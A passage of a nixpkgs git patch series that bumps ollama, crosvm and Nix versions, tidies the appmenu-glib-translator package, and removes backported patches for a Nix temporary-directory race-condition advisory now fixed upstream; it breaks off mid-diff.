"R. Ryantm" Date: Tue, 24 Jun 2025 15:49:01 +0000 Subject: [PATCH 345/390] ollama: 0.9.1 -> 0.9.2 --- pkgs/by-name/ol/ollama/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/ol/ollama/package.nix b/pkgs/by-name/ol/ollama/package.nix index 6857406a107a..f75341605558 100644 --- a/pkgs/by-name/ol/ollama/package.nix +++ b/pkgs/by-name/ol/ollama/package.nix @@ -117,17 +117,17 @@ in goBuild (finalAttrs: { pname = "ollama"; # don't forget to invalidate all hashes each update - version = "0.9.1"; + version = "0.9.2"; src = fetchFromGitHub { owner = "ollama"; repo = "ollama"; tag = "v${finalAttrs.version}"; - hash = "sha256-6ha8aGRljb/uN+CtPpZDpcAVmpZccCq/1TSCQ5FVL8E="; + hash = "sha256-2mvaIEfto/w2yjaJxopn5L2rn8pCTHfQvo8mmzTO4i0="; fetchSubmodules = true; }; - vendorHash = "sha256-svJt7Cuy+auVd8II3+JaAefiZcG88QyDgjWPnpoxfts="; + vendorHash = "sha256-t7+GLNC6mRcXq9ErxN6gGki5WWWoEcMfzRVjta4fddA="; env = lib.optionalAttrs enableRocm { From 6ff856f8db7b3b352cd31bf5b383e182a93cdf52 Mon Sep 17 00:00:00 2001 From: PerchunPak Date: Sat, 21 Jun 2025 14:59:34 +0200 Subject: [PATCH 346/390] appmenu-glib-translator: adress code review --- .../ap/appmenu-glib-translator/package.nix | 19 ++++++------------- 1 file changed, 6 insertions(+), 13 deletions(-) diff --git a/pkgs/by-name/ap/appmenu-glib-translator/package.nix b/pkgs/by-name/ap/appmenu-glib-translator/package.nix index 88265a3086c0..310b3e5b5548 100644 --- a/pkgs/by-name/ap/appmenu-glib-translator/package.nix +++ b/pkgs/by-name/ap/appmenu-glib-translator/package.nix @@ -1,15 +1,13 @@ { lib, fetchFromGitLab, + stdenv, glib, - gtk3, + gobject-introspection, meson, ninja, pkg-config, - gobject-introspection, vala, - stdenv, - wrapGAppsHook3, }: stdenv.mkDerivation (finalAttrs: { pname = "appmenu-glib-translator"; @@ -19,7 +17,6 @@ stdenv.mkDerivation (finalAttrs: { owner = "vala-panel-project"; repo = "vala-panel-appmenu"; tag = finalAttrs.version; - fetchSubmodules = true; hash = "sha256-v5J3nwViNiSKRPdJr+lhNUdKaPG82fShPDlnmix5tlY="; }; @@ -30,19 +27,15 @@ stdenv.mkDerivation (finalAttrs: { ninja pkg-config - wrapGAppsHook3 + gobject-introspection vala ]; - buildInputs = [ - glib - gobject-introspection - gtk3 - ]; + propagatedBuildInputs = [ glib ]; meta = { - description = "GTK module that strips menus from all GTK programs, converts to MenuModel and sends to AppMenu"; - homepage = "https://gitlab.com/vala-panel-project/vala-panel-appmenu/-/tree/${finalAttrs.version}/subprojects/appmenu-gtk-module"; + description = "Library for translating from DBusMenu to GMenuModel"; + homepage = "https://gitlab.com/vala-panel-project/vala-panel-appmenu/-/tree/${finalAttrs.version}/subprojects/appmenu-glib-translator"; license = lib.licenses.lgpl3Plus; maintainers = with lib.maintainers; [ perchun ]; platforms = lib.platforms.linux; From 08881f6be70723e04aa9f978d8fb9d4bcc80da56 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Wed, 18 Jun 2025 06:02:33 +0000 Subject: [PATCH 347/390] crosvm: 0-unstable-2025-06-06 -> 0-unstable-2025-06-17 --- pkgs/by-name/cr/crosvm/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/cr/crosvm/package.nix b/pkgs/by-name/cr/crosvm/package.nix index eef6b3c0a398..f7dd05a63c6a 100644 --- a/pkgs/by-name/cr/crosvm/package.nix +++ b/pkgs/by-name/cr/crosvm/package.nix @@ -21,12 +21,12 @@ rustPlatform.buildRustPackage { pname = "crosvm"; - version = "0-unstable-2025-06-06"; + version = "0-unstable-2025-06-17"; src = fetchgit { url = "https://chromium.googlesource.com/chromiumos/platform/crosvm"; - rev = "7083e31d219cdcd57866c70144e1b39ddc008f0f"; - hash = "sha256-oZR4UcN8lDoqNoUFGLbIDDRO55noDX0xMWa8W0DbVl4="; + rev = "49e226a57f905b00e44a996c93d9a2439dcb86f3"; + hash = "sha256-+HtF9nBv6unnrav5Z84xSOhK+RrlOFBHed6SiuHAcfs="; fetchSubmodules = true; }; From 28e4681066886f043d3ba5826208a41c1ccc0961 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= Date: Tue, 24 Jun 2025 17:43:08 +0200 Subject: [PATCH 348/390] nixVersions.nix: 2.28.3 -> 2.28.4 --- .../installer/tools/nix-fallback-paths.nix | 12 +- pkgs/tools/package-management/nix/default.nix | 5 +- .../patches/ghsa-g948-229j-48j3-2.28.patch | 454 ------------------ 3 files changed, 8 insertions(+), 463 deletions(-) delete mode 100644 pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.28.patch diff --git a/nixos/modules/installer/tools/nix-fallback-paths.nix b/nixos/modules/installer/tools/nix-fallback-paths.nix index 55a0c46237ed..2fa265cda818 100644 --- a/nixos/modules/installer/tools/nix-fallback-paths.nix +++ b/nixos/modules/installer/tools/nix-fallback-paths.nix @@ -1,8 +1,8 @@ { - x86_64-linux = "/nix/store/pfh6bq2wxbpp3xz5sinymmp44n505zh8-nix-2.28.3"; - i686-linux = "/nix/store/nfxdfb9zcrm9sqkw8xhdqs7vcvrwp1k2-nix-2.28.3"; - aarch64-linux = "/nix/store/7w6fj8s7h4pcmx38m1f51xd93ywizm4i-nix-2.28.3"; - riscv64-linux = "/nix/store/nnynd5vfd6pf9jkp13bmj44rlrd61l3h-nix-riscv64-unknown-linux-gnu-2.28.3"; - x86_64-darwin = "/nix/store/rdxbh5m09c9i2s7zkh7b8g6mnrpmaa19-nix-2.28.3"; - aarch64-darwin = "/nix/store/wjrdsqbaial7pl9vfhqc7cpzd9lqcr6a-nix-2.28.3"; + x86_64-linux = "/nix/store/gy397nw6h414f4l4vxny1wg8cn4i955d-nix-2.28.4"; + i686-linux = "/nix/store/k192aqw8zh71zrli5abqd5wg01bqwmh9-nix-2.28.4"; + aarch64-linux = "/nix/store/cp0bzvj8vf5y2z0nimq57crcq6h419fj-nix-2.28.4"; + riscv64-linux = "/nix/store/zav2zzhxld8fqvj7hb5z83ggd3ij6888-nix-riscv64-unknown-linux-gnu-2.28.4"; + x86_64-darwin = "/nix/store/gj4y690ligr5gawmpnkiw2qs087m068w-nix-2.28.4"; + aarch64-darwin = "/nix/store/nb6nkjac7nj242j3m56pkdkbikfjw343-nix-2.28.4"; } diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix index 449da9289815..fa2c7136c1b1 100644 --- a/pkgs/tools/package-management/nix/default.nix +++ b/pkgs/tools/package-management/nix/default.nix @@ -183,9 +183,8 @@ lib.makeExtensible ( }; nix_2_28 = commonMeson { - version = "2.28.3"; - hash = "sha256-TjZp5ITSUvNRAzNznmkZRQxNRzMLiSAplz4bV2T8cbs="; - patches = [ ./patches/ghsa-g948-229j-48j3-2.28.patch ]; + version = "2.28.4"; + hash = "sha256-V1tPrBkPteqF8VWUgpotNFYJ2Xm6WmB3aMPexuEHl9I="; self_attribute_name = "nix_2_28"; }; diff --git a/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.28.patch b/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.28.patch deleted file mode 100644 index 7de531128279..000000000000 --- a/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.28.patch +++ /dev/null @@ -1,454 +0,0 @@ -From 24c1aa735a40d3bf5361755fa10ac0e577a55eed Mon Sep 17 00:00:00 2001 -From: Eelco Dolstra -Date: Thu, 19 Jun 2025 16:20:34 +0200 -Subject: [PATCH] Fixes for GHSA-g948-229j-48j3 -MIME-Version: 1.0 -Content-Type: text/plain; charset=UTF-8 -Content-Transfer-Encoding: 8bit - -Squashed commit of the following: - -commit 04fff3a637d455cbb1d75937a235950e43008db9 -Author: Eelco Dolstra -Date: Thu Jun 12 12:30:32 2025 +0200 - - Chown structured attr files safely - -commit 5417ad445e414c649d0cfc71a05661c7bf8f3ef5 -Author: Eelco Dolstra -Date: Thu Jun 12 12:14:04 2025 +0200 - - Replace 'bool sync' with an enum for clarity - - And drop writeFileAndSync(). - -commit 7ae0141f328d8e8e1094be24665789c05f974ba6 -Author: Eelco Dolstra -Date: Thu Jun 12 11:35:28 2025 +0200 - - Drop guessOrInventPathFromFD() - - No need to do hacky stuff like that when we already know the original path. - -commit 45b05098bd019da7c57cd4227a89bfd0fa65bb08 -Author: Eelco Dolstra -Date: Thu Jun 12 11:15:58 2025 +0200 - - Tweak comment - -commit 0af15b31209d1b7ec8addfae9a1a6b60d8f35848 -Author: Raito Bezarius -Date: Thu Mar 27 12:22:26 2025 +0100 - - libstore: ensure that temporary directory is always 0o000 before deletion - - In the case the deletion fails, we should ensure that the temporary - directory cannot be used for nefarious purposes. - - Change-Id: I498a2dd0999a74195d13642f44a5de1e69d46120 - Signed-off-by: Raito Bezarius - -commit 2c20fa37b15cfa03ac6a1a6a47cdb2ed66c0827e -Author: Raito Bezarius -Date: Wed Mar 26 12:42:55 2025 +0100 - - libutil: ensure that `_deletePath` does NOT use absolute paths with dirfds - - When calling `_deletePath` with a parent file descriptor, `openat` is - made effective by using relative paths to the directory file descriptor. - - To avoid the problem, the signature is changed to resist misuse with an - assert in the prologue of the function. - - Change-Id: I6b3fc766bad2afe54dc27d47d1df3873e188de96 - Signed-off-by: Raito Bezarius - -commit d3c370bbcae48bb825ce19fd0f73bb4eefd2c9ea -Author: Raito Bezarius -Date: Wed Mar 26 01:07:47 2025 +0100 - - libstore: ensure that `passAsFile` is created in the original temp dir - - This ensures that `passAsFile` data is created inside the expected - temporary build directory by `openat()` from the parent directory file - descriptor. - - This avoids a TOCTOU which is part of the attack chain of CVE-????. - - Change-Id: Ie5273446c4a19403088d0389ae8e3f473af8879a - Signed-off-by: Raito Bezarius - -commit 45d3598724f932d024ef6bc2ffb00c1bb90e6018 -Author: Raito Bezarius -Date: Wed Mar 26 01:06:03 2025 +0100 - - libutil: writeFile variant for file descriptors - - `writeFile` lose its `sync` boolean flag to make things simpler. - - A new `writeFileAndSync` function is created and all call sites are - converted to it. - - Change-Id: Ib871a5283a9c047db1e4fe48a241506e4aab9192 - Signed-off-by: Raito Bezarius - -commit 732bd9b98cabf4aaf95a01fd318923de303f9996 -Author: Raito Bezarius -Date: Wed Mar 26 01:05:34 2025 +0100 - - libstore: chown to builder variant for file descriptors - - We use it immediately for the build temporary directory. - - Change-Id: I180193c63a2b98721f5fb8e542c4e39c099bb947 - Signed-off-by: Raito Bezarius - -commit 962c65f8dcd5570dd92c72370a862c7b38942e0d -Author: Raito Bezarius -Date: Wed Mar 26 01:04:59 2025 +0100 - - libstore: open build directory as a dirfd as well - - We now keep around a proper AutoCloseFD around the temporary directory - which we plan to use for openat operations and avoiding the build - directory being swapped out while we are doing something else. - - Change-Id: I18d387b0f123ebf2d20c6405cd47ebadc5505f2a - Signed-off-by: Raito Bezarius - -commit c9b42462b75b5a37ee6564c2b53cff186c8323da -Author: Raito Bezarius -Date: Wed Mar 26 01:04:12 2025 +0100 - - libutil: guess or invent a path from file descriptors - - This is useful for certain error recovery paths (no pun intended) that - does not thread through the original path name. - - Change-Id: I2d800740cb4f9912e64c923120d3f977c58ccb7e - Signed-off-by: Raito Bezarius - -Signed-off-by: Jörg Thalheim ---- - src/libstore/local-store.cc | 4 +- - .../unix/build/local-derivation-goal.cc | 46 ++++++++++++++---- - .../nix/store/build/local-derivation-goal.hh | 20 ++++++++ - src/libutil/file-content-address.cc | 2 +- - src/libutil/file-system.cc | 47 +++++++++++-------- - src/libutil/include/nix/util/file-system.hh | 14 ++++-- - 6 files changed, 98 insertions(+), 35 deletions(-) - -diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc -index f3bee6953..eddc87ef9 100644 ---- a/src/libstore/local-store.cc -+++ b/src/libstore/local-store.cc -@@ -249,7 +249,7 @@ LocalStore::LocalStore( - else if (curSchema == 0) { /* new store */ - curSchema = nixSchemaVersion; - openDB(*state, true); -- writeFile(schemaPath, fmt("%1%", curSchema), 0666, true); -+ writeFile(schemaPath, fmt("%1%", curSchema), 0666, FsSync::Yes); - } - - else if (curSchema < nixSchemaVersion) { -@@ -300,7 +300,7 @@ LocalStore::LocalStore( - txn.commit(); - } - -- writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true); -+ writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, FsSync::Yes); - - lockFile(globalLock.get(), ltRead, true); - } -diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc -index 9edb6fb0f..a0442d0b8 100644 ---- a/src/libstore/unix/build/local-derivation-goal.cc -+++ b/src/libstore/unix/build/local-derivation-goal.cc -@@ -567,7 +567,14 @@ void LocalDerivationGoal::startBuilder() - } else { - tmpDir = topTmpDir; - } -- chownToBuilder(tmpDir); -+ -+ /* The TOCTOU between the previous mkdir call and this open call is unavoidable due to -+ POSIX semantics.*/ -+ tmpDirFd = AutoCloseFD{open(tmpDir.c_str(), O_RDONLY | O_NOFOLLOW | O_DIRECTORY)}; -+ if (!tmpDirFd) -+ throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir); -+ -+ chownToBuilder(tmpDirFd.get(), tmpDir); - - for (auto & [outputName, status] : initialOutputs) { - /* Set scratch path we'll actually use during the build. -@@ -1159,9 +1166,7 @@ void LocalDerivationGoal::initTmpDir() - } else { - auto hash = hashString(HashAlgorithm::SHA256, i.first); - std::string fn = ".attr-" + hash.to_string(HashFormat::Nix32, false); -- Path p = tmpDir + "/" + fn; -- writeFile(p, rewriteStrings(i.second, inputRewrites)); -- chownToBuilder(p); -+ writeBuilderFile(fn, rewriteStrings(i.second, inputRewrites)); - env[i.first + "Path"] = tmpDirInSandbox + "/" + fn; - } - } -@@ -1266,11 +1271,9 @@ void LocalDerivationGoal::writeStructuredAttrs() - - auto jsonSh = writeStructuredAttrsShell(json); - -- writeFile(tmpDir + "/.attrs.sh", rewriteStrings(jsonSh, inputRewrites)); -- chownToBuilder(tmpDir + "/.attrs.sh"); -+ writeBuilderFile(".attrs.sh", rewriteStrings(jsonSh, inputRewrites)); - env["NIX_ATTRS_SH_FILE"] = tmpDirInSandbox + "/.attrs.sh"; -- writeFile(tmpDir + "/.attrs.json", rewriteStrings(json.dump(), inputRewrites)); -- chownToBuilder(tmpDir + "/.attrs.json"); -+ writeBuilderFile(".attrs.json", rewriteStrings(json.dump(), inputRewrites)); - env["NIX_ATTRS_JSON_FILE"] = tmpDirInSandbox + "/.attrs.json"; - } - } -@@ -1781,6 +1784,24 @@ void setupSeccomp() - #endif - } - -+void LocalDerivationGoal::chownToBuilder(int fd, const Path & path) -+{ -+ if (!buildUser) return; -+ if (fchown(fd, buildUser->getUID(), buildUser->getGID()) == -1) -+ throw SysError("cannot change ownership of file '%1%'", path); -+} -+ -+void LocalDerivationGoal::writeBuilderFile( -+ const std::string & name, -+ std::string_view contents) -+{ -+ auto path = std::filesystem::path(tmpDir) / name; -+ AutoCloseFD fd{openat(tmpDirFd.get(), name.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC | O_EXCL | O_NOFOLLOW, 0666)}; -+ if (!fd) -+ throw SysError("creating file %s", path); -+ writeFile(fd, path, contents); -+ chownToBuilder(fd.get(), path); -+} - - void LocalDerivationGoal::runChild() - { -@@ -3000,6 +3021,15 @@ void LocalDerivationGoal::checkOutputs(const std::mapisBuiltin()) { -diff --git a/src/libstore/unix/include/nix/store/build/local-derivation-goal.hh b/src/libstore/unix/include/nix/store/build/local-derivation-goal.hh -index 795286a01..fb62e3ca4 100644 ---- a/src/libstore/unix/include/nix/store/build/local-derivation-goal.hh -+++ b/src/libstore/unix/include/nix/store/build/local-derivation-goal.hh -@@ -37,6 +37,11 @@ struct LocalDerivationGoal : public DerivationGoal - */ - Path topTmpDir; - -+ /** -+ * The file descriptor of the temporary directory. -+ */ -+ AutoCloseFD tmpDirFd; -+ - /** - * The path of the temporary directory in the sandbox. - */ -@@ -239,9 +244,24 @@ struct LocalDerivationGoal : public DerivationGoal - - /** - * Make a file owned by the builder. -+ * -+ * SAFETY: this function is prone to TOCTOU as it receives a path and not a descriptor. -+ * It's only safe to call in a child of a directory only visible to the owner. - */ - void chownToBuilder(const Path & path); - -+ /** -+ * Make a file owned by the builder addressed by its file descriptor. -+ */ -+ void chownToBuilder(int fd, const Path & path); -+ -+ /** -+ * Create a file in `tmpDir` owned by the builder. -+ */ -+ void writeBuilderFile( -+ const std::string & name, -+ std::string_view contents); -+ - int getChildStatus() override; - - /** -diff --git a/src/libutil/file-content-address.cc b/src/libutil/file-content-address.cc -index 142bc70d5..d95781691 100644 ---- a/src/libutil/file-content-address.cc -+++ b/src/libutil/file-content-address.cc -@@ -93,7 +93,7 @@ void restorePath( - { - switch (method) { - case FileSerialisationMethod::Flat: -- writeFile(path, source, 0666, startFsync); -+ writeFile(path, source, 0666, startFsync ? FsSync::Yes : FsSync::No); - break; - case FileSerialisationMethod::NixArchive: - restorePath(path, source, startFsync); -diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc -index 9ce3682f1..204a63c4e 100644 ---- a/src/libutil/file-system.cc -+++ b/src/libutil/file-system.cc -@@ -298,7 +298,7 @@ void readFile(const Path & path, Sink & sink) - } - - --void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync) -+void writeFile(const Path & path, std::string_view s, mode_t mode, FsSync sync) - { - AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT - // TODO -@@ -308,22 +308,29 @@ void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync) - , mode)); - if (!fd) - throw SysError("opening file '%1%'", path); -+ -+ writeFile(fd, path, s, mode, sync); -+ -+ /* Close explicitly to propagate the exceptions. */ -+ fd.close(); -+} -+ -+void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode, FsSync sync) -+{ -+ assert(fd); - try { - writeFull(fd.get(), s); -+ -+ if (sync == FsSync::Yes) -+ fd.fsync(); -+ - } catch (Error & e) { -- e.addTrace({}, "writing file '%1%'", path); -+ e.addTrace({}, "writing file '%1%'", origPath); - throw; - } -- if (sync) -- fd.fsync(); -- // Explicitly close to make sure exceptions are propagated. -- fd.close(); -- if (sync) -- syncParent(path); - } - -- --void writeFile(const Path & path, Source & source, mode_t mode, bool sync) -+void writeFile(const Path & path, Source & source, mode_t mode, FsSync sync) - { - AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT - // TODO -@@ -347,11 +354,11 @@ void writeFile(const Path & path, Source & source, mode_t mode, bool sync) - e.addTrace({}, "writing file '%1%'", path); - throw; - } -- if (sync) -+ if (sync == FsSync::Yes) - fd.fsync(); - // Explicitly close to make sure exceptions are propagated. - fd.close(); -- if (sync) -+ if (sync == FsSync::Yes) - syncParent(path); - } - -@@ -414,7 +421,8 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b - #ifndef _WIN32 - checkInterrupt(); - -- std::string name(baseNameOf(path.native())); -+ std::string name(path.filename()); -+ assert(name != "." && name != ".." && !name.empty()); - - struct stat st; - if (fstatat(parentfd, name.c_str(), &st, -@@ -455,7 +463,7 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b - throw SysError("chmod %1%", path); - } - -- int fd = openat(parentfd, path.c_str(), O_RDONLY); -+ int fd = openat(parentfd, name.c_str(), O_RDONLY | O_DIRECTORY | O_NOFOLLOW); - if (fd == -1) - throw SysError("opening directory %1%", path); - AutoCloseDir dir(fdopendir(fd)); -@@ -467,7 +475,7 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b - checkInterrupt(); - std::string childName = dirent->d_name; - if (childName == "." || childName == "..") continue; -- _deletePath(dirfd(dir.get()), path + "/" + childName, bytesFreed); -+ _deletePath(dirfd(dir.get()), path / childName, bytesFreed); - } - if (errno) throw SysError("reading directory %1%", path); - } -@@ -485,14 +493,13 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b - - static void _deletePath(const fs::path & path, uint64_t & bytesFreed) - { -- Path dir = dirOf(path.string()); -- if (dir == "") -- dir = "/"; -+ assert(path.is_absolute()); -+ assert(path.parent_path() != path); - -- AutoCloseFD dirfd = toDescriptor(open(dir.c_str(), O_RDONLY)); -+ AutoCloseFD dirfd = toDescriptor(open(path.parent_path().string().c_str(), O_RDONLY)); - if (!dirfd) { - if (errno == ENOENT) return; -- throw SysError("opening directory '%1%'", path); -+ throw SysError("opening directory %s", path.parent_path()); - } - - _deletePath(dirfd.get(), path, bytesFreed); -diff --git a/src/libutil/include/nix/util/file-system.hh b/src/libutil/include/nix/util/file-system.hh -index e6b1cfef3..9a0057bbe 100644 ---- a/src/libutil/include/nix/util/file-system.hh -+++ b/src/libutil/include/nix/util/file-system.hh -@@ -193,21 +193,27 @@ std::string readFile(const Path & path); - std::string readFile(const std::filesystem::path & path); - void readFile(const Path & path, Sink & sink); - -+enum struct FsSync { Yes, No }; -+ - /** - * Write a string to a file. - */ --void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false); --static inline void writeFile(const std::filesystem::path & path, std::string_view s, mode_t mode = 0666, bool sync = false) -+void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No); -+ -+static inline void writeFile(const std::filesystem::path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No) - { - return writeFile(path.string(), s, mode, sync); - } - --void writeFile(const Path & path, Source & source, mode_t mode = 0666, bool sync = false); --static inline void writeFile(const std::filesystem::path & path, Source & source, mode_t mode = 0666, bool sync = false) -+void writeFile(const Path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No); -+ -+static inline void writeFile(const std::filesystem::path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No) - { - return writeFile(path.string(), source, mode, sync); - } - -+void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No); -+ - /** - * Flush a path's parent directory to disk. - */ --- -2.44.1 - From b1e560bfc7bc25108014de7b4bc9627d7bd5df89 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= Date: Tue, 24 Jun 2025 17:43:26 +0200 Subject: [PATCH 349/390] nixVersions.nix_2_29: 2.29.0 -> 2.29.1 --- pkgs/tools/package-management/nix/default.nix | 26 +- .../patches/ghsa-g948-229j-48j3-2.29.patch | 449 ------------------ 2 files changed, 11 insertions(+), 464 deletions(-) delete mode 100644 pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.29.patch diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix index fa2c7136c1b1..1b07e2283513 100644 --- a/pkgs/tools/package-management/nix/default.nix +++ b/pkgs/tools/package-management/nix/default.nix @@ -188,21 +188,17 @@ lib.makeExtensible ( self_attribute_name = "nix_2_28"; }; - nixComponents_2_29 = - (nixDependencies.callPackage ./modular/packages.nix rec { - version = "2.29.0"; - inherit (self.nix_2_24.meta) maintainers teams; - otherSplices = generateSplicesForNixComponents "nixComponents_2_29"; - src = fetchFromGitHub { - # FIXME: back to NixOS org once they fix it - owner = "vcunat"; - repo = "nix"; - rev = "p/jq-1.8.0"; # just a tiny test-only patch atop 2.29.0 - # see https://github.com/NixOS/nix/pull/13371 - hash = "sha256-F2ZODsET4cBsgsyOi8Sg/quESU0DnrYri0hYniqu37k="; - }; - }).appendPatches - [ ./patches/ghsa-g948-229j-48j3-2.29.patch ]; + nixComponents_2_29 = nixDependencies.callPackage ./modular/packages.nix { + version = "2.29.1"; + inherit (self.nix_2_24.meta) maintainers teams; + otherSplices = generateSplicesForNixComponents "nixComponents_2_29"; + src = fetchFromGitHub { + owner = "NixOS"; + repo = "nix"; + rev = "2.29.1"; + hash = "sha256-rCL3l4t20jtMeNjCq6fMaTzWvBKgj+qw1zglLrniRfY="; + }; + }; nix_2_29 = addTests "nix_2_29" self.nixComponents_2_29.nix-everything; diff --git a/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.29.patch b/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.29.patch deleted file mode 100644 index 265c2580cfe7..000000000000 --- a/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.29.patch +++ /dev/null @@ -1,449 +0,0 @@ -From 01619fbe2dc06b79609b95b6f95ddbf4e871e762 Mon Sep 17 00:00:00 2001 -From: Eelco Dolstra -Date: Thu, 19 Jun 2025 16:20:34 +0200 -Subject: [PATCH] Fixes for GHSA-g948-229j-48j3 -MIME-Version: 1.0 -Content-Type: text/plain; charset=UTF-8 -Content-Transfer-Encoding: 8bit - -Squashed commit of the following: - -commit 04fff3a637d455cbb1d75937a235950e43008db9 -Author: Eelco Dolstra -Date: Thu Jun 12 12:30:32 2025 +0200 - - Chown structured attr files safely - -commit 5417ad445e414c649d0cfc71a05661c7bf8f3ef5 -Author: Eelco Dolstra -Date: Thu Jun 12 12:14:04 2025 +0200 - - Replace 'bool sync' with an enum for clarity - - And drop writeFileAndSync(). - -commit 7ae0141f328d8e8e1094be24665789c05f974ba6 -Author: Eelco Dolstra -Date: Thu Jun 12 11:35:28 2025 +0200 - - Drop guessOrInventPathFromFD() - - No need to do hacky stuff like that when we already know the original path. - -commit 45b05098bd019da7c57cd4227a89bfd0fa65bb08 -Author: Eelco Dolstra -Date: Thu Jun 12 11:15:58 2025 +0200 - - Tweak comment - -commit 0af15b31209d1b7ec8addfae9a1a6b60d8f35848 -Author: Raito Bezarius -Date: Thu Mar 27 12:22:26 2025 +0100 - - libstore: ensure that temporary directory is always 0o000 before deletion - - In the case the deletion fails, we should ensure that the temporary - directory cannot be used for nefarious purposes. - - Change-Id: I498a2dd0999a74195d13642f44a5de1e69d46120 - Signed-off-by: Raito Bezarius - -commit 2c20fa37b15cfa03ac6a1a6a47cdb2ed66c0827e -Author: Raito Bezarius -Date: Wed Mar 26 12:42:55 2025 +0100 - - libutil: ensure that `_deletePath` does NOT use absolute paths with dirfds - - When calling `_deletePath` with a parent file descriptor, `openat` is - made effective by using relative paths to the directory file descriptor. - - To avoid the problem, the signature is changed to resist misuse with an - assert in the prologue of the function. - - Change-Id: I6b3fc766bad2afe54dc27d47d1df3873e188de96 - Signed-off-by: Raito Bezarius - -commit d3c370bbcae48bb825ce19fd0f73bb4eefd2c9ea -Author: Raito Bezarius -Date: Wed Mar 26 01:07:47 2025 +0100 - - libstore: ensure that `passAsFile` is created in the original temp dir - - This ensures that `passAsFile` data is created inside the expected - temporary build directory by `openat()` from the parent directory file - descriptor. - - This avoids a TOCTOU which is part of the attack chain of CVE-????. - - Change-Id: Ie5273446c4a19403088d0389ae8e3f473af8879a - Signed-off-by: Raito Bezarius - -commit 45d3598724f932d024ef6bc2ffb00c1bb90e6018 -Author: Raito Bezarius -Date: Wed Mar 26 01:06:03 2025 +0100 - - libutil: writeFile variant for file descriptors - - `writeFile` lose its `sync` boolean flag to make things simpler. - - A new `writeFileAndSync` function is created and all call sites are - converted to it. - - Change-Id: Ib871a5283a9c047db1e4fe48a241506e4aab9192 - Signed-off-by: Raito Bezarius - -commit 732bd9b98cabf4aaf95a01fd318923de303f9996 -Author: Raito Bezarius -Date: Wed Mar 26 01:05:34 2025 +0100 - - libstore: chown to builder variant for file descriptors - - We use it immediately for the build temporary directory. - - Change-Id: I180193c63a2b98721f5fb8e542c4e39c099bb947 - Signed-off-by: Raito Bezarius - -commit 962c65f8dcd5570dd92c72370a862c7b38942e0d -Author: Raito Bezarius -Date: Wed Mar 26 01:04:59 2025 +0100 - - libstore: open build directory as a dirfd as well - - We now keep around a proper AutoCloseFD around the temporary directory - which we plan to use for openat operations and avoiding the build - directory being swapped out while we are doing something else. - - Change-Id: I18d387b0f123ebf2d20c6405cd47ebadc5505f2a - Signed-off-by: Raito Bezarius - -commit c9b42462b75b5a37ee6564c2b53cff186c8323da -Author: Raito Bezarius -Date: Wed Mar 26 01:04:12 2025 +0100 - - libutil: guess or invent a path from file descriptors - - This is useful for certain error recovery paths (no pun intended) that - does not thread through the original path name. - - Change-Id: I2d800740cb4f9912e64c923120d3f977c58ccb7e - Signed-off-by: Raito Bezarius - -Signed-off-by: Jörg Thalheim ---- - src/libstore/local-store.cc | 4 +- - src/libstore/unix/build/derivation-builder.cc | 66 ++++++++++++++++--- - src/libutil/file-content-address.cc | 2 +- - src/libutil/file-system.cc | 47 +++++++------ - src/libutil/include/nix/util/file-system.hh | 14 ++-- - 5 files changed, 98 insertions(+), 35 deletions(-) - -diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc -index 76fadba86..1ab3ed13a 100644 ---- a/src/libstore/local-store.cc -+++ b/src/libstore/local-store.cc -@@ -247,7 +247,7 @@ LocalStore::LocalStore(ref config) - else if (curSchema == 0) { /* new store */ - curSchema = nixSchemaVersion; - openDB(*state, true); -- writeFile(schemaPath, fmt("%1%", curSchema), 0666, true); -+ writeFile(schemaPath, fmt("%1%", curSchema), 0666, FsSync::Yes); - } - - else if (curSchema < nixSchemaVersion) { -@@ -298,7 +298,7 @@ LocalStore::LocalStore(ref config) - txn.commit(); - } - -- writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true); -+ writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, FsSync::Yes); - - lockFile(globalLock.get(), ltRead, true); - } -diff --git 